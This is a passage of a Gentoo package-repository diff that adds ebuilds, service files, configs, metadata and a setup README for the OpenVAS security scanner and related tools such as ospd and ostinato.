+nasl_no_signature_check = yes
+
+#Certificates
+cert_file=/var/lib/openvas/CA/servercert.pem
+key_file=/var/lib/openvas/private/CA/serverkey.pem
+ca_file=/var/lib/openvas/CA/cacert.pem
+
+# If you decide to protect your private key with a password,
+# uncomment and change next line
+# pem_password=password
+# If you want to force the use of a client certificate, uncomment next line
+# force_pubkey_auth = yes
+
+#end.
diff --git a/net-analyzer/openvas-scanner/files/openvassd.init b/net-analyzer/openvas-scanner/files/openvassd.init
new file mode 100644
index 000000000000..66133a9ec734
--- /dev/null
+++ b/net-analyzer/openvas-scanner/files/openvassd.init
@@ -0,0 +1,26 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+name="OpenVAS Scanner"
+command="/usr/sbin/openvassd"
+command_args="${SCANNER_LISTEN} ${SCANNER_PORT} ${SCANNER_SRCIP} ${SCANNER_EXTRA_ARGS}"
+pidfile="/run/openvassd.pid"
+extra_stopped_commands="create_cache"
+
+depend() {
+ after bootmisc
+ need localmount net
+}
+
+start_pre() {
+ checkpath --directory --mode 0775 --quiet /var/cache/openvas
+}
+
+create_cache() {
+ checkpath --directory --mode 0775 --quiet /var/cache/openvas
+ ebegin "Generating initial Cache"
+ /usr/sbin/openvassd --foreground --only-cache
+ eend $?
+}
diff --git a/net-analyzer/openvas-scanner/files/openvassd.logrotate b/net-analyzer/openvas-scanner/files/openvassd.logrotate
new file mode 100644
index 000000000000..9316ba8d9629
--- /dev/null
+++ b/net-analyzer/openvas-scanner/files/openvassd.logrotate
@@ -0,0 +1,11 @@
+# logrotate for openvas
+/var/log/openvas/openvassd.log {
+ rotate 4
+ weekly
+ compress
+ delaycompress
+ missingok
+ postrotate
+ /bin/kill -HUP `pidof openvassd`
+ endscript
+}
diff --git a/net-analyzer/openvas-scanner/files/openvassd.service b/net-analyzer/openvas-scanner/files/openvassd.service
new file mode 100644
index 000000000000..553b09b5b2fb
--- /dev/null
+++ b/net-analyzer/openvas-scanner/files/openvassd.service
@@ -0,0 +1,16 @@
+[Unit]
+Description=OpenVAS Scanner
+After=network.target
+Before=openvasmd.service
+
+[Service]
+EnvironmentFile=-/etc/openvas/openvassd-daemon.conf
+ExecStart=/usr/sbin/openvassd -f ${SCANNER_PORT} ${SCANNER_LISTEN} ${SCANNER_SRCIP} ${SCANNER_EXTRA_ARGS}
+Restart=always
+RestartSec=1
+User=root
+Group=root
+TimeoutSec=1200
+
+[Install]
+WantedBy=multi-user.target
diff --git a/net-analyzer/openvas-scanner/files/openvassd.tmpfiles.d b/net-analyzer/openvas-scanner/files/openvassd.tmpfiles.d
new file mode 100644
index 000000000000..18e820caec1b
--- /dev/null
+++ b/net-analyzer/openvas-scanner/files/openvassd.tmpfiles.d
@@ -0,0 +1 @@
+d /var/cache/openvassd 0775
diff --git a/net-analyzer/openvas-scanner/metadata.xml b/net-analyzer/openvas-scanner/metadata.xml
new file mode 100644
index 000000000000..10fd5970fc9b
--- /dev/null
+++ b/net-analyzer/openvas-scanner/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>hanno@gentoo.org</email>
+ </maintainer>
+ <maintainer>
+ <email>jlec@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/openvas-scanner/openvas-scanner-4.0.6.ebuild b/net-analyzer/openvas-scanner/openvas-scanner-4.0.6.ebuild
new file mode 100644
index 000000000000..14d6dd752373
--- /dev/null
+++ b/net-analyzer/openvas-scanner/openvas-scanner-4.0.6.ebuild
@@ -0,0 +1,67 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=openvassd
+
+DL_ID=1959
+
+DESCRIPTION="A remote security scanner for Linux (OpenVAS-scanner)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ >=net-analyzer/openvas-libraries-7.0.9
+ !net-analyzer/openvas-plugins
+ !net-analyzer/openvas-server"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-4.0.3-bsdsource.patch
+ "${FILESDIR}"/${PN}-4.0.3-mkcertclient.patch
+ "${FILESDIR}"/${PN}-4.0.3-rulesdir.patch
+ "${FILESDIR}"/${PN}-4.0.3-run.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ "-DLOCALSTATEDIR=${EPREFIX}/var"
+ "-DSYSCONFDIR=${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+
+ insinto /etc/openvas
+ doins "${FILESDIR}"/${MY_PN}.conf "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ doins "${FILESDIR}"/${MY_PN}.logrotate
+
+ dodoc "${FILESDIR}"/openvas-nvt-sync-cron
+
+ systemd_newtmpfilesd "${FILESDIR}"/${MY_PN}.tmpfiles.d ${MY_PN}.conf
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/openvas-scanner/openvas-scanner-4.0.7.ebuild b/net-analyzer/openvas-scanner/openvas-scanner-4.0.7.ebuild
new file mode 100644
index 000000000000..8c67f1a757b2
--- /dev/null
+++ b/net-analyzer/openvas-scanner/openvas-scanner-4.0.7.ebuild
@@ -0,0 +1,67 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=openvassd
+
+DL_ID=2101
+
+DESCRIPTION="A remote security scanner for Linux (OpenVAS-scanner)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ >=net-analyzer/openvas-libraries-7.0.9
+ !net-analyzer/openvas-plugins
+ !net-analyzer/openvas-server"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-4.0.3-bsdsource.patch
+ "${FILESDIR}"/${PN}-4.0.3-mkcertclient.patch
+ "${FILESDIR}"/${PN}-4.0.3-rulesdir.patch
+ "${FILESDIR}"/${PN}-4.0.3-run.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ "-DLOCALSTATEDIR=${EPREFIX}/var"
+ "-DSYSCONFDIR=${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+
+ insinto /etc/openvas
+ doins "${FILESDIR}"/${MY_PN}.conf "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ doins "${FILESDIR}"/${MY_PN}.logrotate
+
+ dodoc "${FILESDIR}"/openvas-nvt-sync-cron
+
+ systemd_newtmpfilesd "${FILESDIR}"/${MY_PN}.tmpfiles.d ${MY_PN}.conf
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/openvas-scanner/openvas-scanner-5.0.3.ebuild b/net-analyzer/openvas-scanner/openvas-scanner-5.0.3.ebuild
new file mode 100644
index 000000000000..1530808e45e0
--- /dev/null
+++ b/net-analyzer/openvas-scanner/openvas-scanner-5.0.3.ebuild
@@ -0,0 +1,71 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=openvassd
+
+DL_ID=2071
+
+DESCRIPTION="A remote security scanner for Linux (OpenVAS-scanner)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P/_beta/+beta}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS=" ~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ app-crypt/gpgme
+ >=dev-libs/glib-2.16:2
+ dev-libs/libgcrypt:0
+ >=net-analyzer/openvas-libraries-8.0.2
+ !net-analyzer/openvas-plugins
+ !net-analyzer/openvas-server"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+S="${WORKDIR}"/${P/_beta/+beta}
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-4.0.3-mkcertclient.patch
+ "${FILESDIR}"/${PN}-4.0.3-rulesdir.patch
+ "${FILESDIR}"/${PN}-4.0.3-run.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}/var"
+ -DSYSCONFDIR="${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+
+ insinto /etc/openvas
+ doins "${FILESDIR}"/${MY_PN}.conf "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ doins "${FILESDIR}"/${MY_PN}.logrotate
+
+ dodoc "${FILESDIR}"/openvas-nvt-sync-cron
+
+ systemd_newtmpfilesd "${FILESDIR}"/${MY_PN}.tmpfiles.d ${MY_PN}.conf
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/openvas-scanner/openvas-scanner-5.0.4.ebuild b/net-analyzer/openvas-scanner/openvas-scanner-5.0.4.ebuild
new file mode 100644
index 000000000000..d1ca7b5902e7
--- /dev/null
+++ b/net-analyzer/openvas-scanner/openvas-scanner-5.0.4.ebuild
@@ -0,0 +1,71 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=openvassd
+
+DL_ID=2129
+
+DESCRIPTION="A remote security scanner for Linux (OpenVAS-scanner)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P/_beta/+beta}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS=" ~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ app-crypt/gpgme
+ >=dev-libs/glib-2.16:2
+ dev-libs/libgcrypt:0
+ >=net-analyzer/openvas-libraries-8.0.2
+ !net-analyzer/openvas-plugins
+ !net-analyzer/openvas-server"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+S="${WORKDIR}"/${P/_beta/+beta}
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-4.0.3-mkcertclient.patch
+ "${FILESDIR}"/${PN}-4.0.3-rulesdir.patch
+ "${FILESDIR}"/${PN}-4.0.3-run.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}/var"
+ -DSYSCONFDIR="${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+
+ insinto /etc/openvas
+ doins "${FILESDIR}"/${MY_PN}.conf "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ doins "${FILESDIR}"/${MY_PN}.logrotate
+
+ dodoc "${FILESDIR}"/openvas-nvt-sync-cron
+
+ systemd_newtmpfilesd "${FILESDIR}"/${MY_PN}.tmpfiles.d ${MY_PN}.conf
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/openvas-tools/Manifest b/net-analyzer/openvas-tools/Manifest
new file mode 100644
index 000000000000..15c1a6ab248c
--- /dev/null
+++ b/net-analyzer/openvas-tools/Manifest
@@ -0,0 +1 @@
+DIST openvas-tools-0_pre20512.tar.xz 46100 SHA256 78557005110b22e617b3ce82b73b934f743558cdd9247f0fd5bdbcfd7b9f4a09 SHA512 ab524c18a9c9cbfbc742d19c55c7eacc99c39d9209d3f915a6e0070c662f9761cc55b1166dfb48cdaab2607a07ea0640ff9f0a3d48a364409e516a3142f96cbb WHIRLPOOL 35130567b3060823ea2c1a6c1323f5b77e5446eaa7b62cabfe1068d14bec66d647cef2ea5d98cf5fa483e242f4aca84179d41f5ff2b5c729cc9fa7634018e8a6
diff --git a/net-analyzer/openvas-tools/metadata.xml b/net-analyzer/openvas-tools/metadata.xml
new file mode 100644
index 000000000000..4a00a64b40ae
--- /dev/null
+++ b/net-analyzer/openvas-tools/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>jlec@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/openvas-tools/openvas-tools-0_pre20512.ebuild b/net-analyzer/openvas-tools/openvas-tools-0_pre20512.ebuild
new file mode 100644
index 000000000000..15af2fa11fb6
--- /dev/null
+++ b/net-analyzer/openvas-tools/openvas-tools-0_pre20512.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit multilib
+
+DESCRIPTION="A remote security scanner for Linux (extra tools)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://dev.gentoo.org/~jlec/distfiles/${P}.tar.xz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~x86 ~amd64-linux ~x86-linux"
+IUSE=""
+
+S="${WORKDIR}"/tools
+
+src_install() {
+ insinto /usr/$(get_libdir)/nagios/plugins/
+ doins nagios/*
+
+ dosbin openvas-check-setup
+
+ insinto /usr/share/vim/vimfiles/syntax
+ doins nasl.vim
+}
diff --git a/net-analyzer/openvas/files/README.gentoo b/net-analyzer/openvas/files/README.gentoo
new file mode 100644
index 000000000000..71dbf185b472
--- /dev/null
+++ b/net-analyzer/openvas/files/README.gentoo
@@ -0,0 +1,34 @@
+To allow openvasmd to work, you need to do the following
+
+# Generate a Server Certificate
+openvas-mkcert
+
+# Generate a Client Certificate
+openvas-mkcert-client -n -i
+
+# get nvt feed
+openvas-nvt-sync (free) or greenbone-nvt-sync (commercial)
+
+# get scap feed
+openvas-scapdata-sync (free) or greenbone-scapdata-sync (commercial)
+
+# get cert feed
+openvas-certdata-sync (free) or greenbone-certdata-sync (commercial)
+
+# Generate initial NVT cache (takes some minutes)
+rc-service openvassd create_cache or openvassd --foreground --only-cache
+
+# Start the OpenVAS Scanner
+rc-service openvassd start or systemctl start openvassd.service
+
+# Initialize the Database (This is going to take some time, perhaps time to get coffee?)
+openvasmd --rebuild --progress -v
+
+# Create an admin user and note down the initial password
+openvasmd --create-user=admin --role=Admin
+
+# Start the OpenVAS Manager
+rc-service openvasmd start or systemctl start openvasmd
+
+# Start the Greenbone Security Assistant
+rc-service gsad start or systemctl start gsad
diff --git a/net-analyzer/openvas/metadata.xml b/net-analyzer/openvas/metadata.xml
new file mode 100644
index 000000000000..cc63063afac4
--- /dev/null
+++ b/net-analyzer/openvas/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>hanno@gentoo.org</email>
+ </maintainer>
+ <maintainer>
+ <email>jlec@gentoo.org</email>
+ </maintainer>
+ <use>
+ <flag name="pdf">Enable pdf report creation</flag>
+ </use>
+</pkgmetadata>
diff --git a/net-analyzer/openvas/openvas-7.0.10.ebuild b/net-analyzer/openvas/openvas-7.0.10.ebuild
new file mode 100644
index 000000000000..9a4373914a35
--- /dev/null
+++ b/net-analyzer/openvas/openvas-7.0.10.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit readme.gentoo
+
+DESCRIPTION="A remote security scanner"
+HOMEPAGE="http://www.openvas.org/"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~x86"
+IUSE="+pdf"
+
+DEPEND="
+ >=net-analyzer/openvas-libraries-7.0.10
+ >=net-analyzer/openvas-scanner-4.0.6
+ >=net-analyzer/openvas-manager-5.0.10
+ >=net-analyzer/openvas-cli-1.3.1
+ net-analyzer/openvas-tools
+ pdf? (
+ app-text/htmldoc
+ dev-texlive/texlive-latexextra
+ virtual/latex-base
+ )"
+# greenbone-security-desktop is broken and unsupported upstream
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"
+
+pkg_postinst() {
+ elog "Additional support for extra checks can be get from"
+ optfeature "Nikto — a web server scanning and testing tool" net-analyzer/nikto
+ optfeature "NMAP — a portscanner" net-analyzer/nmap
+ optfeature "ike-scan - an IPsec VPN scanning, fingerprinting and testing tool" net-analyzer/ike-scan
+ optfeature "amap — an application protocol detection tool" net-analyzer/amap
+ optfeature "ldapsearch from OpenLDAP utilities — retrieves information from LDAP dictionaries" net-nds/openldap
+ optfeature "ovaldi (OVAL) — an OVAL Interpreter" app-forensics/ovaldi
+ optfeature "portbunny — a Linux-kernel-based portscanner" net-analyzer/portbunny
+ optfeature "w3af — a web application attack and audit framework" net-analyzer/w3af
+ optfeature "The Greenbone Security Assistant as alternative to the plain scanner" net-analyzer/greenbone-security-assistant
+}
diff --git a/net-analyzer/openvas/openvas-7.0.11.ebuild b/net-analyzer/openvas/openvas-7.0.11.ebuild
new file mode 100644
index 000000000000..f7fcb2fe4b75
--- /dev/null
+++ b/net-analyzer/openvas/openvas-7.0.11.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit readme.gentoo
+
+DESCRIPTION="A remote security scanner"
+HOMEPAGE="http://www.openvas.org/"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~x86"
+IUSE="+pdf"
+
+DEPEND="
+ >=net-analyzer/openvas-libraries-7.0.10
+ >=net-analyzer/openvas-scanner-4.0.7
+ >=net-analyzer/openvas-manager-5.0.11
+ >=net-analyzer/openvas-cli-1.3.1
+ net-analyzer/openvas-tools
+ pdf? (
+ app-text/htmldoc
+ dev-texlive/texlive-latexextra
+ virtual/latex-base
+ )"
+# greenbone-security-desktop is broken and unsupported upstream
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"
+
+pkg_postinst() {
+ elog "Additional support for extra checks can be get from"
+ optfeature "Nikto — a web server scanning and testing tool" net-analyzer/nikto
+ optfeature "NMAP — a portscanner" net-analyzer/nmap
+ optfeature "ike-scan - an IPsec VPN scanning, fingerprinting and testing tool" net-analyzer/ike-scan
+ optfeature "amap — an application protocol detection tool" net-analyzer/amap
+ optfeature "ldapsearch from OpenLDAP utilities — retrieves information from LDAP dictionaries" net-nds/openldap
+ optfeature "ovaldi (OVAL) — an OVAL Interpreter" app-forensics/ovaldi
+ optfeature "portbunny — a Linux-kernel-based portscanner" net-analyzer/portbunny
+ optfeature "w3af — a web application attack and audit framework" net-analyzer/w3af
+ optfeature "The Greenbone Security Assistant as alternative to the plain scanner" net-analyzer/greenbone-security-assistant
+}
diff --git a/net-analyzer/openvas/openvas-8.0.3.ebuild b/net-analyzer/openvas/openvas-8.0.3.ebuild
new file mode 100644
index 000000000000..18539bc803b5
--- /dev/null
+++ b/net-analyzer/openvas/openvas-8.0.3.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit readme.gentoo
+
+DESCRIPTION="A remote security scanner"
+HOMEPAGE="http://www.openvas.org/"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS=" ~amd64 ~x86"
+IUSE="+pdf"
+
+DEPEND="
+ >=net-analyzer/openvas-libraries-8.0.3
+ >=net-analyzer/openvas-scanner-5.0.3
+ >=net-analyzer/openvas-manager-6.0.3
+ >=net-analyzer/openvas-cli-1.4.0
+ net-analyzer/openvas-tools
+ pdf? (
+ app-text/htmldoc
+ dev-texlive/texlive-latexextra
+ virtual/latex-base
+ )"
+# greenbone-security-desktop is broken and unsupported upstream
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"
+
+pkg_postinst() {
+ elog "Additional support for extra checks can be get from"
+ optfeature "Nikto — a web server scanning and testing tool" net-analyzer/nikto
+ optfeature "NMAP — a portscanner" net-analyzer/nmap
+ optfeature "ike-scan - an IPsec VPN scanning, fingerprinting and testing tool" net-analyzer/ike-scan
+ optfeature "amap — an application protocol detection tool" net-analyzer/amap
+ optfeature "ldapsearch from OpenLDAP utilities — retrieves information from LDAP dictionaries" net-nds/openldap
+ optfeature "ovaldi (OVAL) — an OVAL Interpreter" app-forensics/ovaldi
+ optfeature "portbunny — a Linux-kernel-based portscanner" net-analyzer/portbunny
+ optfeature "w3af — a web application attack and audit framework" net-analyzer/w3af
+ optfeature "The Greenbone Security Assistant as alternative to the plain scanner" net-analyzer/greebone-security-assistant
+}
diff --git a/net-analyzer/openvas/openvas-8.0.4.ebuild b/net-analyzer/openvas/openvas-8.0.4.ebuild
new file mode 100644
index 000000000000..edd5f44da525
--- /dev/null
+++ b/net-analyzer/openvas/openvas-8.0.4.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit readme.gentoo
+
+DESCRIPTION="A remote security scanner"
+HOMEPAGE="http://www.openvas.org/"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS=" ~amd64 ~x86"
+IUSE="+pdf"
+
+DEPEND="
+ >=net-analyzer/openvas-libraries-8.0.4
+ >=net-analyzer/openvas-scanner-5.0.4
+ >=net-analyzer/openvas-manager-6.0.4
+ >=net-analyzer/openvas-cli-1.4.2
+ net-analyzer/openvas-tools
+ pdf? (
+ app-text/htmldoc
+ dev-texlive/texlive-latexextra
+ virtual/latex-base
+ )"
+# greenbone-security-desktop is broken and unsupported upstream
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"
+
+pkg_postinst() {
+ elog "Additional support for extra checks can be get from"
+ optfeature "Nikto — a web server scanning and testing tool" net-analyzer/nikto
+ optfeature "NMAP — a portscanner" net-analyzer/nmap
+ optfeature "ike-scan - an IPsec VPN scanning, fingerprinting and testing tool" net-analyzer/ike-scan
+ optfeature "amap — an application protocol detection tool" net-analyzer/amap
+ optfeature "ldapsearch from OpenLDAP utilities — retrieves information from LDAP dictionaries" net-nds/openldap
+ optfeature "ovaldi (OVAL) — an OVAL Interpreter" app-forensics/ovaldi
+ optfeature "portbunny — a Linux-kernel-based portscanner" net-analyzer/portbunny
+ optfeature "w3af — a web application attack and audit framework" net-analyzer/w3af
+ optfeature "The Greenbone Security Assistant as alternative to the plain scanner" net-analyzer/greebone-security-assistant
+}
diff --git a/net-analyzer/ospd/Manifest b/net-analyzer/ospd/Manifest
new file mode 100644
index 000000000000..c9408be8b05c
--- /dev/null
+++ b/net-analyzer/ospd/Manifest
@@ -0,0 +1 @@
+DIST ospd-1.0.0.tar.gz 39656 SHA256 da4b8f636897544a4d4a6cc8c932762b356cc729c5e532f0ceb80f0339c5dcb8 SHA512 64b1b42c5292dc8cf8b1ffde9082f4d05ff62f4d0bf2ed7b2b5d2ba4d3c3611ae8af30b39c8becb9f6bdc36eb519a0b881cdeb50891e5a2273003f6181cbebfb WHIRLPOOL ee7f1b0b29f993d8913b4ba53f3089f13f216f6957d16ca74409e1eb75a70a0aba20472aaf433a27fc4aa9610a1dd38ad25b64c623ecbf576833aefed6272a98
diff --git a/net-analyzer/ospd/files/ospd-1.0_beta3-description.patch b/net-analyzer/ospd/files/ospd-1.0_beta3-description.patch
new file mode 100644
index 000000000000..a6f7061a5e10
--- /dev/null
+++ b/net-analyzer/ospd/files/ospd-1.0_beta3-description.patch
@@ -0,0 +1,18 @@
+ setup.py | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/setup.py b/setup.py
+index 5c17dd1..fffea59 100644
+--- a/setup.py
++++ b/setup.py
+@@ -40,8 +40,8 @@ setup(
+ # http://packaging.python.org/en/latest/tutorial.html#version
+ version='1.0+beta3',
+
+- description=('OSPD is a collection of scanner wrappers which share the, ',
+- 'same communication protocol: OSP (OpenVAS Scanner ',
++ description=('OSPD is a collection of scanner wrappers which share the, '
++ 'same communication protocol: OSP (OpenVAS Scanner '
+ 'Protocol)'),
+ long_description=long_description,
+
diff --git a/net-analyzer/ospd/metadata.xml b/net-analyzer/ospd/metadata.xml
new file mode 100644
index 000000000000..4a00a64b40ae
--- /dev/null
+++ b/net-analyzer/ospd/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>jlec@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/ospd/ospd-1.0.0.ebuild b/net-analyzer/ospd/ospd-1.0.0.ebuild
new file mode 100644
index 000000000000..a22ef50f4e1b
--- /dev/null
+++ b/net-analyzer/ospd/ospd-1.0.0.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python2_7 )
+
+inherit distutils-r1
+
+DL_ID=1999
+
+DESCRIPTION="Collection of scanner wrappers for OpenVAS"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P/_beta/+beta}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2+"
+KEYWORDS=" ~amd64 ~x86 ~amd64-linux ~x86-linux"
+IUSE=""
+
+RDEPEND="
+ dev-python/paramiko[${PYTHON_USEDEP}]
+ dev-python/pexpect[${PYTHON_USEDEP}]
+ "
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"/${P/_beta/-beta}
+
+_DOCS=( ChangeLog CHANGES README )
+
+python_test() {
+ esetup.py test
+}
diff --git a/net-analyzer/ostinato/Manifest b/net-analyzer/ostinato/Manifest
new file mode 100644
index 000000000000..22643bd51294
--- /dev/null
+++ b/net-analyzer/ostinato/Manifest
@@ -0,0 +1 @@
+DIST ostinato-src-0.5.1.tar.gz 291529 SHA256 fa19c857d73837cae23aa15d7309c1ddcf22c6f7be9f3ed15a23948142b24223 SHA512 d06b59dc2129aba01e5a42a677339d6e8f353f9c7c027226e66c8a5af94ecb48e8450e7770ae5e179131fa4cfeefcc827fb9a18be4294ddfcd7a471ec26ee06a WHIRLPOOL 6027729df2f880a220a2a4a55c702dab53ddd33ebafe6bd20740bd875498cfb8876917ea63fe981811b70ee57e7cc3c347bcba5182c6b061420b40e4bf3f3ffc
diff --git a/net-analyzer/ostinato/files/protobuf-2.4.0.diff b/net-analyzer/ostinato/files/protobuf-2.4.0.diff
new file mode 100644
index 000000000000..4d42b253a844
--- /dev/null
+++ b/net-analyzer/ostinato/files/protobuf-2.4.0.diff
@@ -0,0 +1,11 @@
+--- common/protocol.proto 2010-11-08 11:47:19.000000000 -0500
++++ common/protocol.proto.new 2011-04-18 13:54:03.725337006 -0400
+@@ -19,6 +19,8 @@
+
+ package OstProto;
+
++option cc_generic_services = true;
++
+ message StreamId {
+ required uint32 id = 1;
+ }
diff --git a/net-analyzer/ostinato/metadata.xml b/net-analyzer/ostinato/metadata.xml
new file mode 100644
index 000000000000..2fab0a213dec
--- /dev/null
+++ b/net-analyzer/ostinato/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>zerochaos@gentoo.org</email>
+ <name>Rick Farina</name>
+ </maintainer>
+ <upstream>
